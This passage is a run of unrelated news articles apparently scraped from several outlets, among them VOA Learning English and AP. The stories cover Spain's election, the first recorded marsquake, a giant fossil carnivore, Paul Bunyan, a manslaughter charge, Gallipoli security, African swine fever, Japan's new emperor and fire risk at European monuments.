familiar with coalition-building. And they have little reason to negotiate as they face local elections on May 26. Making compromises in the hope of forming a government may anger local voters. Also, some of the parties are either having power struggles or have recently had them. There are new political leaders who might make changes or create unusual alliances. Spaniards will also elect 208 representatives to the Senate. The Senate is less openly political and has been under the control of conservative lawmakers since 2011. Who will be the Prime Minister? If the Socialist party wins many seats, Sanchez could remain Prime Minister by forming a coalition with the Podemos party. But recent polls show that the Socialist party will not do that well. Even if the party joins with Podemos, the coalition would need another ally. That ally would most likely come from one of the small, nationalist parties, perhaps one from Catalonia. The Socialists and Podemos would be forced to make compromises with that party. In the case of the Catalonian party, that might mean talking to Catalan secessionists. The latest polls also say that the three rightist parties combined probably would not win a parliamentary majority. The Socialists could form a coalition with the Ciudadanos, but the partys leader, Albert Rivera, has said he would never join with the Socialists. Sanchez also said he had no plans to work with Rivera. While the leader in all the polls, Sanchez wants to stay in power, but his coalition choices all have problems. Only one thing is sure: Spains two-party system is dead. What are the main issues for voters? The general election campaign has dealt largely with two issues: identity and values. The economy is a distant third issue. Catalonias campaign for independence has become one of the most important issues. Currently, 12 former leaders of the Catalan Independence movement are on trial. Ciudadanos, Vox and Spains Peoples Party are competing for the anti-separatist vote. The Socialists will also try to get the anti-separatist vote, but they may have to negotiate with the Catalans for a coalition. In years past, the Socialists have refused to give in to Catalan demands. All the main parties have traded accusations of corruption. The economy has been a minor issue, since it is growing at a yearly rate of about 2 percent. Why should we care? Over the past three years, Spain has had a number of minority or caretaker governments, so decisions on tax reform and other economic issues have been delayed. And that may endanger Spains greatest strength: its growing economy. I'm Dorothy Gundy and Im Susan Shand. The Reuters News Agency reported this story. Susan Shand adapted it for VOA Learning English. George Grow was the editor. Write to us in the Comments Section or on our Facebook page. _________________________________________________________________ Words in This Story austerity adj. things done to save money concession n. giving in to someones demands secessionist n. one who believes in secession, or pulling out of a union to be independent mausoleum n. a tomb at a grave The American space agency NASA says its Mars lander has noted what scientists believe was the first marsquake ever recorded. The seismic signal was measured and recorded on April 6 by NASAs InSight lander, the space agency announced this week. InSight landed on Mars in November 2018. Its goal is to explore the inside of the red planet and measure geological conditions. The likely marsquake was picked up by a special device called a seismometer, which is used to measure seismic waves. The device was built for InSight by Frances national space agency. The seismometer was designed to be extremely sensitive. It aims to differentiate between seismic signals coming from inside Mars and activity coming from above the surface, such as wind or meteorite movements. This is the first recorded trembling that appears to have come from inside the planet, NASAs Jet Propulsion Laboratory (JPL) said in a statement. The laboratory is based in Pasadena, California. Scientists will continue to examine the recording in an attempt to confirm the exact cause of the signal. The InSight exploration team released audio of the possible marsquake. For comparison purposes, the audio begins with what NASA scientists say is the sound of wind on Mars. This is followed by a rising sound thought to be the marsquake. Scientists say the recorded activity was comparable to a 2.5-strong earthquake on our own planet. Such a small earthquake would likely not even be felt on Earths surface. Seismically active areas in the United States, like southern California for example, experience many similarly small earthquakes each week. But Bruce Banerdt, an investigator with the JPL, believes even the small measurement marks an important new beginning. He said InSights instrument had already been working effectively to collect background noise since landing on Mars. But this first event officially kicks off a new field: Martian seismology," Banerdt said. Philippe Lognonne is a geophysics and planetary science professor at the University Paris Diderot in France. He was a lead researcher on the InSight seismometer project. He told the Reuters news agency that the Mars results were very similar to quake activity measured on other planets. So we are very confident that this is a marsquake, he said. Lognonne predicted that, in the future, InSight would measure quakes 50 to 100 times larger than the one on April 6. Quakes on earth happen along faults created by the movement of tectonic plates. Mars and Earths moon do not have tectonic plates, but they still experience quakes. Repeated changes in temperature and size of material inside the planets can create pressure over time. When this pressure becomes intense enough to break the planets outer crust, it causes a quake. Banerdt said InSights new finding is a continuation of experiments that began with NASAs Apollo space program in the 1960s. Apollo astronauts put five seismometers on the moon that measured thousands of quakes between 1969 and 1977. NASA says scientists were able to use that information to learn many new things about the inside of the moon. Now, the NASA team hopes InSights seismometer can provide scientists with valuable information about Mars and other planets, too. By studying the deep interior of Mars, they hope to learn how other rocky worlds, including Earth and the Moon, formed, NASA said in a statement. Im Bryan Lynn. Bryan Lynn wrote this story for VOA Learning English, based on reports from the Associated Press, Reuters and NASA. Ashley Thompson was the editor. We want to hear from you. Write to us in the Comments section, and visit our Facebook page. _____________________________________________________________ Words in This Story seismic adj. relating to or caused by an earthquake geological adj. relating to the study of rocks, soil and the physical structure of the Earth tremble n. to shake confident adj. certain about ones ability to do things well fault n. a crack in the Earths crust tectonic plates n. plates that make up the surface of the Earth crust n. hard, dry layer on the surface of something interior n. the inside part of something Ohio University biologist Nancy Stevens was looking through a drawer of a wooden container at a museum in Kenya when she saw a piece of rock with extremely large teeth. She knew immediately she had come across something important. The rock and other things she found were overlooked fossils. They were stored at the National Museums of Kenya, in the capital city of Nairobi. The fossils came from one of the largest meat-eating mammals ever to walk the Earth. They belonged to an animal known as Simbakubwa kutokaafrika. It lived in Africa 22 million years ago. Stevens came across the fossils in 2010. This month, she and co-writer Matthew Borths published their research about the animal in the Journal of Vertebrate Paleontology. The animal was bigger than any meat-eating mammal alive today. Its skull was the size of a rhinos skull. Its teeth were as large as bananas. It weighed about one ton and was 2.5 meters long. According to the research, the fossils were found around 1980 in western Kenya. But, they were never closely examined. Stevens said, Most of the specimens that I study are quite small, so you can imagine my surprise when I opened a drawer that I hadnt examined yet, and saw the enormous teeth. Simbakubwa was a member of a animal group that appeared 62 million years ago. That was about 4 million years after the extinction of the dinosaurs, which created an environment for mammals to take over. The animal came before meat-eating cats and wolves. It became extinct about 9 million years ago, researchers say. Simbakubwas name means big lion in the Swahili language. However, it is not a cat. It was the largest animal hunter in its ecosystem, and was probably the largest meat-eating land mammal in Africa up to that time. Im Susan Shand. The Reuters News Agency reported this story. Susan Shand adapted it for VOA Learning English. Ashley Thompson was the editor. Write to us in the Comments Section or on our Facebook page. ________________________________________________________________ Words in This Story drawer n. a box that slides into and out of a piece of furniture (such as a desk) and that is used to store things fossil n. something (such as a leaf, skeleton, or footprint) that is from a plant or animal which lived in ancient times and that you can see in some rocks mammal n. a type of animal that feeds milk to its young and that usually has hair or fur covering most of its skin skull n. the structure of bones that holds up the face and head of a human extinct adj. a creature that no longer exists paleontologist n. the science that deals with the fossils of animals and plants that lived very long ago especially in the time of dinosaurs Today we tell a traditional American story called a tall tale. A tall tale is a story about a person who is larger than life. The descriptions in the story are exaggerated much greater than in real life. This makes the story funny. Long ago, the people who settled in undeveloped areas in America first told tall tales. After a hard days work, people gathered to tell each other funny stories. Each group of workers had its own tall tale hero. Paul Bunyan was a hero of North Americas lumberjacks, the workers who cut down trees. He was known for his strength, speed and skill. Tradition says he cleared forests from the northeastern United States to the Pacific Ocean. Some people say Paul Bunyan was the creation of storytellers from the middle western Great Lakes area of the United States. Other people say the stories about him came from French Canada. Early in the twentieth century, a writer prepared a collection of Paul Bunyan stories. They were included in a publication from the Red River Lumber Company in Minnesota. It is not known if the stories helped the companys sales, but they became extremely popular. Here is Shep ONeal with our story about Paul Bunyan. Many years ago, Paul Bunyan was born in the northeastern American state of Maine. His mother and father were shocked when they first saw the boy. Paul was so large at birth that five large birds had to carry him to his parents. When the boy was only a few weeks old, he weighed more than 45 kilograms. As a child, Paul was always hungry. His parents needed 10 cows to supply milk for his meals. Before long, he ate 50 eggs and 10 containers of potatoes every day. Young Paul grew so big that his parents did not know what to do with him. Once, Paul rolled over so much in his sleep that he caused an earthquake. This angered people in the town where his parents lived. So, the government told his mother and father they would have to move him somewhere else. Pauls father built a wooden cradle -- a traditional bed for a baby. His parents put the cradle in waters along the coast of Maine. However, every time Paul rolled over, huge waves covered all the coastal towns. So his parents brought their son back on land. They took him into the woods. This is where he grew up. As a boy, Paul helped his father cut down trees. Paul had the strength of many men. He also was extremely fast. He could turn off a light and then jump into his bed before the room got dark. Maine is very cold for much of the year. One day, it started to snow. The snow covered Pauls home and a nearby forest. However, this snow was very unusual. It was blue. The blue snow kept falling until the forest was covered. Paul put on his snowshoes and went out to see the unusual sight. As he walked, Paul discovered an animal stuck in the snow. It was a baby ox. Paul decided to take the ox home with him. He put the animal near the fireplace. After the ox got warmer, his hair remained blue. Paul decided to keep the blue ox and named him Babe. Babe grew very quickly. One night, Paul left him in a small building with the other animals. The next morning, the barn was gone and so was Babe. Paul searched everywhere for the animal. He found Babe calmly eating grass in a valley, with the barn still on top of his back. Babe followed Paul and grew larger every day. Every time Paul looked, Babe seemed to grow taller. In those days, much of North America was filled with thick, green forests. Paul Bunyan could clear large wooded areas with a single stroke of his large, sharp axe. Paul taught Babe to help with his work. Babe was very useful. For example, Paul had trouble removing trees along a road that was not straight. He decided to tie one end of the road to what remained of a tree in the ground. Paul tied the other end to Babe. Babe dug his feet in the ground and pulled with all his strength until the road became straight. In time, Paul and Babe the Blue Ox left Maine, and moved west to look for work in other forests. Along the way, Paul dug out the Great Lakes to provide drinking water for Babe. They settled in a camp near the Onion River in the state of Minnesota. Paul decided to get other lumberjacks to help with the work. His work crew became known as the Seven Axemen. Each man was more than 2 meters tall and weighed more than 160 kilograms. All of the Axemen were named Elmer. That way, they all came running whenever Paul called them. The man who cooked for the group was named Sourdough Sam. He made everything -- except coffee -- from sourdough, a substance used in making sourdough bread. Every Sunday, Paul and his crew ate hot cakes. Each hot cake was so large that it took five men to eat one. Paul usually had 10 or more hot cakes, depending on how hungry he was. The table where the men ate was so long that a server usually drove to one end of the table and stayed the night. The server drove back in the morning, with a fresh load of food. Paul needed someone to help with the camps finances. He gave the job to a man named Johnny Inkslinger. Johnny kept records of everything, including wages and the cost of feeding Babe. He sometimes used nine containers of writing fluid a day to keep such detailed records. The camp also was home to Sport, the Reversible Dog. One of the workers accidentally cut Sport in two. The man hurried to put the dog back together, but made a mistake. He bent the animals back the wrong way. However, that was not a problem for Sport. He learned to run on his front legs until he was tired. Then, he turned the other way and ran on his back legs. Big mosquitoes were a problem at the camp. The men attacked the insects with their axes and long sticks. Before long, the men put barriers around their living space. Then, Paul ordered them to get big bees to destroy the mosquitoes. But the bees married the mosquitoes, and the problem got worse. They began to produce young insects. One day, the insects love of sweets caused them to attack a ship that was bringing sugar to the camp. At last, the mosquitoes and bees were defeated. They ate so much sugar they could not move. Paul always gave Babe the Blue Ox a 35-kilogram piece of sugar when he was good. But sometimes Babe liked to play tricks. At night, Babe would make noises and hit the ground with his feet. The men at the camp would run out of the buildings where they slept, thinking it was an earthquake. When winter came, Babe had trouble finding enough food to eat. Snow covered everything. Ole the Blacksmith solved the problem. He made huge green sunglasses for Babe. When Babe wore the sunglasses, he thought the snow was grass. Before long, Babe was strong and healthy again. One year, Pauls camp was especially cold. It was so cold that the men let their facial hair grow very long. When the men spoke, their words froze in the air. Everything they said remained frozen all winter long, and did not melt until spring. Paul Bunyan and Babe left their mark on many areas. Some people say they were responsible for creating Puget Sound in the western state of Washington. Others say Paul Bunyan and Babe cleared the trees from the states of North Dakota and South Dakota. They prepared this area for farming. Babe the Blue Ox died in South Dakota. One story says he ate too many hot cakes. Paul buried his old friend there. Today, the burial place is known as the Black Hills. Whatever happened to Paul Bunyan? There are lots of stories. Some people say he was last seen in Alaska, or even the Arctic Circle. Another tradition says he still returns to Minnesota every summer. It says Paul moves in and out of the woods, so few people ever know that he is there. You have just heard the story of Paul Bunyan. It was adapted by George Grow. Your narrator was Shep ONeal. Now its your turn. Tell us in the comments section about a tall tale from your culture. Does the hero of the story have unusual size or strength? Visit our Facebook page, too, for more stories. _______________________________________________________________ QUIZ Quiz - Paul Bunyan, An American Folk Tale Start the Quiz to find out Start Quiz ________________________________________________________________ Words in This Story reversible - adj. having two sides that can be used blacksmith - n. a person who makes or repairs things made of iron (such as horseshoes) Crowded Kathmandus few remaining open spaces are being steadily encroached upon On Wednesday morning, Kathmandu woke up to a rude reminder of just how vulnerable the city remains to earthquakes. Two back-to-back earthquakes of magnitudes 5.2 and 4.3 shook Kathmandu within a span of 11 minutes, a day before the fourth anniversary of the April 2015 earthquakes, serving as a reminderand a warningof lessons unlearned. A Lebanon woman faces homicide charges for a crash that killed a female motorcyclist at Seven Mile Lane and Tangent Drive in May. Miranda Rebecca Carnes, 20, was arraigned on an indictment and charged with second-degree manslaughter and criminally negligent homicide on Thursday afternoon in Linn County Circuit Court. She is accused of recklessly causing the death of Sarah Watson on the afternoon of May 14. Watson, 21, of Albany, was a 2014 graduate of West Albany High School and a 2017 graduate of Linn-Benton Community College. Witnesses told Linn County Sheriffs Office deputies in the aftermath of the crash that a 2007 Toyota Prius headed eastbound on Tangent Drive didnt come to a complete stop at a stop sign and continued east through the intersection. The automobile collided with Watsons 2006 Yamaha XV2 motorcycle, which was northbound. Carnes was not injured in the crash. She was lodged in the Linn County Jail on Thursday. During Thursdays brief teleconference hearing, Judge Michael Wynhausen set Carnes bail at $50,000, as requested by prosecutor Douglas Prince. That amount of security is the minimum required by statute for a Measure 11 crime such as manslaughter. Second-degree manslaughter carries a mandatory minimum sentence of more than six years in prison. Defense attorney Michael Lowry, handling the afternoon session of in-custody arraignments at the jail, said Carnes had no criminal history and worked as a caregiver. Carnes, through Lowry, declined comment to the court. Wynhausen appointed Arnold Poole as Carnes defense attorney, and scheduled the next hearing in the case for May 13. Watson worked as a professional horse trainer and rider. At LBCC, she earned an associates degree in applied science animal technology and horse management. Kyle Odegard can be reached at kyle.odegard@lee.net, 541-812-6077 or via Twitter @KyleOdegard. Love 0 Funny 0 Wow 0 Sad 3 Angry 1 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. From December 19th through December 26th we will be granting free access as a gift to our readers presented by Western Interlock Microsofts Your Phone app for Windows 10 allows you to link an Android phone to a Windows PC so that you can see pictures from your phone on your computer, drag and drop files between devices, send and receive text messages, or mirror your phones display on your PC using the Phone Screen feature that launched in March. At the time, Phone Screen was only compatible with Samsung Galaxy S8 and S9 series smartphones. But now Microsoft ha added support for the Galaxy S10, Galaxy Note 8 and 9, and the OnePlus 6 and 6T. The company is also adding a new feature the ability to view smartphone notifications on your computer. Since notifications are coming from your phone, you wont see alerts about incoming messages if your phone is turned off. But as long as its on, youll be able to see information at a glance without unlocking your phone. You can also customize which notifications you want to see and clear notifications on your computer without touching your phone. Microsoft announced support for notifications in a blog post about Windows 10 Insider Preview Build 18885, and says the feature will gradually roll out to Insiders on 19H1 builds of Windows 10. Its unclear when it will be available for folks that arent part of the companys Insider/beta testing program. Other changes in Build 18885 include support for dictation in additional languages (including French, German, Italian, Spanish, Portuguese, and Chinese), and improvements for Narrator. I joined this Vrace Kuala Lumpur last month, and it's a geolocation virtual race where participants needed to run at certain checkpoints and complete at least 2 checkpoints with a minimum of 10K to be entitled to get it finisher items. It was rather fun because some participants, including myself went to parks and places we never or rarely visit just so we can complete the challenge. I was rather surprised to receive these from VRace Kuala Lumpur today, and it included items from sponsors and also my Finisher bandana. VRace Malaysia is doing another challenge right now and entry is free. Enrolment drive for Chepang kids Raksirang Rural Municipality in Makwanpur has initiated school enrolment drive for children of the impoverished Chepang communities. Mona Lynch (University of California, Irvine - Department of Criminology, Law and Society) has posted 94 Different Countries? Time, Place, and Variations in Federal Criminal Justice (Berkeley Journal of Criminal Law, Issue 23(3), Fall 2018) on SSRN. Here is the abstract: Frank Zimring and Gordon Hawkinss 1991 book, The Scale of Imprisonment, was a pioneering intellectual effort to explain what was then just coming into view to social scientists and legal scholars: the massive growth and transformation of American criminal justice, particularly as manifested in what soon came to be called mass incarceration. Zimring and Hawkins endeavored to disentangle multiple forces in play, ranging from formal law, to local and regional legal norms, to a series of broader social and political transformations. In doing so, Zimring and Hawkins set out to disentangle the complex, multi-jurisdictional political and legal structures that govern imprisonment policy in the U.S. In this Article, I apply their insights about locale-based variations in criminal justice operations over time to the case of federal sentencing. Specifically, I empirically examine variations in how the criminal history provision of the federal sentencing guidelines is applied as a function of both time and place to demonstrate the limits of formal law in accounting for punishment outcomes. In doing so, I hope to shed additional light on how vast differences in legal practices and outcomes are produced, especially in response to top-down legal change. Australias prime minister played down yesterday any potential link between the arrest of a suspected Islamic State group member in Turkey and a World War I battle commemoration in Gallipoli attended by hundreds of Australians and New Zealanders. Prime Minister Scott Morrison was responding to media reports that detained Syrian national Abdulkerim Hilef had been planning an attack on the annual dawn service at ANZAC Cove to mark the April 25, 1915, landing of Australian and New Zealand Army Corps troops in an ill-fated campaign to take the Dardanelles Straits. Morrison said the arrest took place three hours away from the Gallipoli service and no changes to security were made as a result. The reports that we are receiving are inconclusive about any link between that arrest and any possible planned event at Gallipoli itself, Morrison told reporters. In fact, to make that assumption would be, I think, making a very big assumption. A Turkish official agreed that the 26-year-old suspects arrest was unconnected to the Gallipoli ceremonies. He was detained in the northwestern province of Tekirdag because he had been in contact with a group of Islamic State group suspects near the Syrian border in the southern Turkish province of Osmaniye, the official said. The official spoke to The Associated Press on condition of anonymity in line with government regulations that bar civil servants from speaking publicly without prior authorization. Morrison said Australian Defense Force Chief Gen. Angus Campbell represented Australia at the service and praised Turkish police and military security. I was not concerned for the safety or security of this event, Campbell told reporters at Gallipoli. The Australian government estimated more than 1,400 attended the service under tight security involving x-ray screening and armed Turkish military guards. Concerns over security at Gallipoli escalated last month after an Australian was arrested following the killings of 50 worshippers at two mosques in New Zealand on March 15. Turkish President Recep Tayyip Erdogan warned that Australians and New Zealanders visiting Turkey with anti-Muslim views would return home in coffins, like their ancestors who fought at Gallipoli. Morrison slammed the comments as highly offensive. Yesterday, Erdogan issued a welcoming message of peace, saying it was everyones duty to protect the message of friendship that was etched in Gallipoli on rocks, earth and the sea, through blood, life, determination and courage. A great responsibility befalls us all to ensure that no new war takes place and the generations to come can live in peace, Erdogan said. I commemorate our Gallipoli heroes and salute our guests attending the ceremonies [] with sincere feelings, he added. Erdogans statement did not mention the Syrians arrest. ANZAC Day services were held throughout Australia and New Zealand on Thursday, with Britains Prince William laying a wreath in the New Zealand city of Auckland. On Friday, the Duke of Cambridge is to visit the mosques in Christchurch where 50 Muslims were killed and another 50 wounded. Attendance at the Gallipoli dawn service has been falling since the centenary in 2015. Rod McGuirk, Canberra, AP Prithvi Man Shrestha is a political reporter for The Kathmandu Post, covering the governance-related issues including corruption and irregularities in the government machinery. Before joining The Kathmandu Post in 2009, he worked at nepalnews.com and Rising Nepal primarily covering the issues of political and economic affairs for three years. China yesterday said it has complained to France after a French warship entered Chinese territorial waters while passing through the Taiwan Strait this month. In a related development, Chinese Vice Premier Hu Chunhua blamed British activity in the South China Sea for a downturn in relations in comments at the start of a meeting with British treasury chief Philip Hammond. The complaint and Hus comments appear to illustrate how China is now willing to permit assertions of its territorial claims to affect ties with nations from outside the region. The April 7 incident in the Taiwan Strait marks a rare case of military friction between the two countries, which have held joint search and rescue exercises before. Ren said the navy dispatched ships to identify, warn and escort the French ship and would remain highly alert to firmly safeguard Chinas sovereignty and security. It was not immediately clear whether France had responded to the Chinese complaint. The 160-kilometer wide Taiwan Strait divides mainland China from Taiwan, which Beijing claims as its territory. It is considered an international waterway heavily trafficked by ships from all nations, many of them bound for Chinese ports. However, China is highly sensitive to operations by foreign warships near areas it claims, such as the South China Sea, where it has built military installations atop seven man-made islands. AP In almost 40 years of analyzing commodity markets, Arlan Suderman says he has never witnessed an industry-jolting event as dramatic as the contagion spreading across Chinas hog farms. The chief commodities economist at INTL FCStone Inc., the New York-based brokerage, has been warning clients about the impact of African swine fever, which he says is not only under-reported but will spur a restructure of Chinas entire farm industry and trigger an escalation in meat prices globally. Most react in disbelief, Suderman said, but the situation is likely to worsen before it gets better. I have never encountered anything of the scope of African swine fever before, Suderman said in a phone interview from his office in Kansas City, where hes been fielding reports from a 10-strong team on the ground in China. This is going to be a big, world story. The viral disease, first reported in China in August, has infected swine across the nation, as well as Mongolia, Vietnam and Cambodia. In China, which raises half the worlds hogs, its led to the death and destruction of millions of pigs, pushing up pork prices and causing reverberations across global grain, meat and financial markets, as well as the Chinese economy. Latest forecasts point to a loss of swine this year equivalent to the European Unions annual supply. Before joining FCStone, which specializes in commodities and dates it origins back almost 100 years to a door-to-door egg wholesaler, Sudermans career included 12 years focusing on crop production efficiency and marketing risk management at Kansas State University Extension Service and another 12 years working for Farm Progress Cos. Suderman has his doubts about official data in China that shows a slowdown in the number of pigs affected since late 2018, with the government saying the disease is under effective control. He offers some of the most pessimistic estimates among industry insiders, informed by his colleagues in China. Just last week, they reported to him that African swine fever is spreading just as badly as it has been, and is continuing to get worse, he said. The U.S. Department of Agriculture echoes Sudermans views, saying last month that hog farms are vastly under reporting outbreaks. Unofficial reports from China suggest far greater losses than official data that shows culls are a fraction of Chinas total hog supply, the USDA said in a separate report earlier this month. Three farmers in Hebei and Sichuan provinces declined to speak publicly about the hesitation to report infected pigs, citing the political sensitivity of the matter, but conceded that under reporting was rife in their areas. Although hog farms are required to report outbreaks to their local governments, the infections may not be recorded by officials because of the subsequent cost of compensating farmers for the livestock losses, and fear of a political backlash for disclosing the widespread nature of the disease. No one answered calls to the agricultural departments of Hebei and Sichuan provinces. A fax inquiry sent to Chinas agriculture ministry wasnt replied to. UNOFFICIAL LOSSES The Chinese government says more than a million hogs have been culled since last August, compared to an inventory of about 400 million pigs. Live pig stocks have fallen by about 19 percent in March from a year ago, while the number of productive sow herds have fallen by 21 percent, the countrys agriculture ministry said on Tuesday. Spot pork prices in China are up about 14 percent since Aug. 1, when the disease was first reported. Suderman estimates that Chinas nationwide pig feeding has dropped by more than 40 percent, or about 300 million hogs in terms of annual production. That includes swine that have been killed by the virus as well as panicked farmers that have liquidated their herds and are avoiding restocking for fear of the disease, he said. A survey by Bloomberg of 11 analysts and traders estimated an average decline of 30 percent. In Shandong, one of Chinas top breeding regions, official data show hog feeding was down 33 percent in March compared to a year ago. Based on reports from FCStones sources in China, including local feed suppliers, Suderman estimates its down more than 50 percent in the region and is continuing to deteriorate. The brokerage, which serves more than 20,000 customers in 130 countries, is receiving information from clients across Chinas pork supply chain, Suderman said. There is no vaccine to prevent pigs from being infected and developing one could take years. It may be five to seven years before the disease stops spreading and farms replenish lost stocks, he said. That could result in an annualized pork deficit of 16.2 million tons, said Suderman an amount 1.3 times larger than what the U.S. produced last year. That capacity isnt available anywhere in the world unless China is willing to pay a high enough price to bid that meat out of the hands of consumers in the U.S. as well as the rest of the world, he said. I dont think theres enough refrigerated ocean freighters to fill that gap even if China is able to buy it. Alfred Cang & Anna Kitanaka, Bloomberg The Internet+ Smart City Summit 2019 officially opened yesterday morning. The two-day summit includes series of talks by academics and industry leaders, such as executives from Xiaomi and Tencent, as well as technicians from Huawei and Alibaba. Dr. Ma Chi Ngai, president of the Science and Technology Development Fund (FDCT) which was the co-organizer of the summit, disclosed that the fund and the University of Macau (UM) were to commence a subsidization program aiming to attract researchers to Macau. The two-year program aims to attract post-doctorate candidates from the worlds top 200 institutions to Macau to research in related fields. They will be offered a subsidy of MOP40,000 per month within their service period, Ma said. The response was positive too, with applications far outnumbering the first phase quota of 50 seats. However, whether those researchers would, or could, stay in Macau after their services end would be at the discretion of their respective employing entities. Rector Yonghua Song of UM was also officiating at the opening ceremony. When asked about the universitys efforts in nurturing science and technology professionals, Song said, UM is to offer a masters program in chemistry with a specialization in big data, which will involve faculties from the computer, business, social science, and health science programs. He also disclosed that UM is offering a bachelors degree in big data. The university also has a program at the Faculty of Business Administration on commercial intelligence and data analysis. Ma further disclosed that a uniform database is being built that will eventually include all data collected from all government departments. A third-party entity, led by UM, has been commissioned to evaluate the efficiency of the implementation of the smart city concept in Macau. The FDCT has also begun its work with the Talent Development Commission to evaluate Macaus human resources in the information technology industry. Staff reporter Japans soon-to-be-anointed new emperor is a musician and historian, both mild-mannered and quietly tenacious, a team player and a loyal husband and friend who will bring an unusually global perspective to an ancient institution when he ascends the Chrysanthemum Throne on May 1. Because Naruhito, 59, will be more distanced from the World War II shadows that his 85-year- old father, Akihito, labored under, he may also enjoy greater liberty in shaping the contours of his reign. Japans constitution gives the emperor only symbolic status, and Naruhito is likely to emulate his father, who has embraced his role as national symbol. Akihito will end his three-decade reign by abdicating on April 30. Naruhito, the first Japanese emperor to have studied abroad, is considered a new breed of royal, his outlook forged by the tradition-defying choices of his mother, Empress Michiko, and Akihito, who broke with ancient imperial traditions by opening up the cloistered palace to the people. Akihito and Michiko, who was born a commoner, chose to largely raise their own children instead of relying on palace staff for parenting. And they supported Naruhito when he chose to attend Oxford, where he researched the history of the Thames River transportation systems during his time there from 1983 to 1985. He will be a fantastic emperor, said Keith George, 57, a friend of Naruhitos since their days at Oxford. He is a caring person. He is a humble person. But he has never forgotten his duties as the crown prince, and he will never forget them as the emperor. The two young men hit it off from the start, and George remembers Naruhito both for his sense of humor and their shared love of music: George played bluegrass and country music on the banjo, and Naruhito played the viola. The crown princes attentiveness and ability to play down his royal status made a strong impression. He doesnt look at everything in terms of what it means for him. He looks at it in terms of what it means for the people around him, George, now a lawyer, said in a recent interview with The Associated Press at his office in Charleston, West Virginia. Naruhitos memoir about his experience in Britain includes humorous accounts of his life away from home, including a mishap with an overflowing laundry machine. Naruhito will be the 126th emperor, but his role will be strikingly different from that of his grandfather Hirohito. Only with Japans 1945 surrender in World War II did the Showa Emperor, which is what Hirohito is now called, cease being treated as a living god. Under Japans U.S.- inspired pacifist constitution, the emperor has no political power. In an annual news conference marking his Feb. 23 birthday, Naruhito said he was open to taking up a new role that suits the times. But he said his fathers work will be his guidepost. I hope to see him develop his own way of doing things in coming years, Toshio Shiraishi, a longtime friend of Naruhito, told the AP. The crown prince has closely watched the work of the Showa Emperor and the current emperor and learned from them, while trying to figure out what his role could be. Shiraishi, a gray-haired banker who plays the cello, says the crown princes choice of instrument viola shows a lot about the kind of man he is. In an essay he contributed for a concert brochure, Naruhito once wrote: Im starting to understand the role of viola, which doesnt stand out, but (is needed because the) harmony becomes lonesome without it. [] Its a joy to have chosen the viola as a friend through which I could meet people and play music together. Naruhito is likewise both a good listener and conversationalist, Shiraishi said. He encourages people to talk and helps enrich a conversation, he said. He doesnt want to be a star; instead he wants to be with people and work together. Palace watchers say that as emperor, Naruhito might focus on global issues, including disaster prevention and water conservation. He has researched such topics since his 1987 visit to Nepal, where he saw women and young children traveling long distances to fetch water. Naruhitos wife, the future Empress Masako, is a Harvard-educated former diplomat who may prove an adept partner in his overseas travels and activities. But much will depend on her health, since she has been recovering from what the palace describes as stress-induced depression for about 15 years. Naruhito has shown himself to be determined. It took him eight years and two rejections before he managed to persuade Masako, who he met at a party in 1986, to marry him. Masako has largely limited her public appearances since late 2003, after giving birth to their only daughter, Princess Aiko, and facing pressure to produce a son. Naruhito has defended her and said he hopes Masako might slowly expand her role. The imperial household faces other uncertainties. Only Naruhitos younger brother, Prince Akishino, 53, and Akishinos 12-year-old son, Prince Hisahito, can currently succeed him as emperor since the Imperial House Law confines that role to male heirs. Naruhitos daughter, Aiko, now 17, is not in the running. Whatever happens, Naruhito will need a strong will similar to his fathers if hes to pursue his own path as emperor, said Takeshi Hara, a Meiji Gakuin University professor and expert on Japans monarchy. George, the friend from Oxford, says he is confident Naruhito can handle his future duties. While at Oxford, where they often went out for drinks and dinners, the crown prince admitted how much he enjoyed the freedom of being a student. Still, he never lamented his destiny, George said. Never once did I ever see or feel that he had felt that as a burden, he said. Mari Yamaguchi & Kaori Hitomi, Tokyo, AP Laxmi Bank, New Street Tech team up for data driven remittance Laxmi Bank and New Street Tech, a blockchain enterprise based in India and the Middle East, announced joining forces to deliver data driven remittance-linked financial services with investment and technical support from the UN Capital Development Fund. Its a thin line where the patina of age on Europes countless monuments gives way to the onset of neglect. Like with so many loved ones, all is assumed to be fine, until suddenly its not. If even an iconic building like Notre Dame could not be protected from devastation, if such a potent symbol of France had to scramble for maintenance funds, that lays bare a culture of apathy that can undermine a shared history as well as the multibillion-dollar tourism industry upon which much of Europe depends. We are so used to our outstanding cultural heritage in Europe that we tend to forget that it needs constant care and attention, Tibor Navracsics, the European Unions top culture official, told The Associated Press. Some say the wake-up call, not just for Europe but the whole world, rang in Paris. Sneska Quaedvlieg-Mihailovicis, head of the Europa Nostra heritage foundation, said it was as if Notre Dame decided to set itself on fire to ring the alarm bell. As if she wanted to sacrifice herself for the cause. Devastating fires have robbed mankind of its knowledge, art and treasures since the famed library of Alexandria in northern Egypt burned down in ancient times. Prior to Notre Dame, the last global warning came when Brazils Museu Nacional in Rio de Janeiro, one of the most important cultural institutions in South America, burned down in September. Unfortunately, the fire in Notre Dame is just one of many examples, said Navracsics. Experts look at the near-endless list of fires at historical sites in Europe and wonder why officials so often dont learn before its too late. Data on such fires is limited, because monuments are so varied. Some were accidents, others arson. There are no exact statistics, said Didier Rykner of Frances La Tribune de lArt, but added that France sees several fires every year in historic buildings, which is already way too much. A 2015 study by the German engineering giant Siemens showed that Scotland had about 10 damaging fires a year, while England lost at least a dozen listed buildings a year. Germany has seen 70 such buildings destroyed since 2000. Every year, theres lightning or something else that destroys a tower or a roof, Juan Antonio Herraez, who is in charge of preventive conservation at Spains Cultural Heritage institute, told the AP. In 1985, the tower of Luxembourgs main cathedral caught fire and burned down. In 2004, a fire in the Duchess Anna Amalia library in Weimar, Germany, caused an estimated 80 million euros in damage. In Italy, the historic La Fenice opera house in Venice was destroyed by fire in 1996, and a year later, that happened at Turins Sindone Chapel of the Holy Shroud. And all too often, fires happen during restoration work. The Glasgow School of Arts Mackintosh Building was gutted by fire last year for the second time in four years as it neared the end of a multimillion-pound (dollar) restoration project. In Spain, the Gran Teatre del Liceu Barcelonas opera house was destroyed almost entirely in 1994 by a fire caused by spark that fell on a curtain during routine repair work. Experts say whats lacking is the constant attention and regular maintenance that could help avoid the need for major restoration work, but that costs money. The problem has been exacerbated by the austerity budgets many European nations adopted after the 2008 financial crisis and during Europes subsequent debt crisis. After austerity cuts, Rykner said, you need some drastic restorations that either you dont do, or you do them badly or cheaply. And it can lead to fires. Herraez wants officials to shift their focus to prevention instead of only 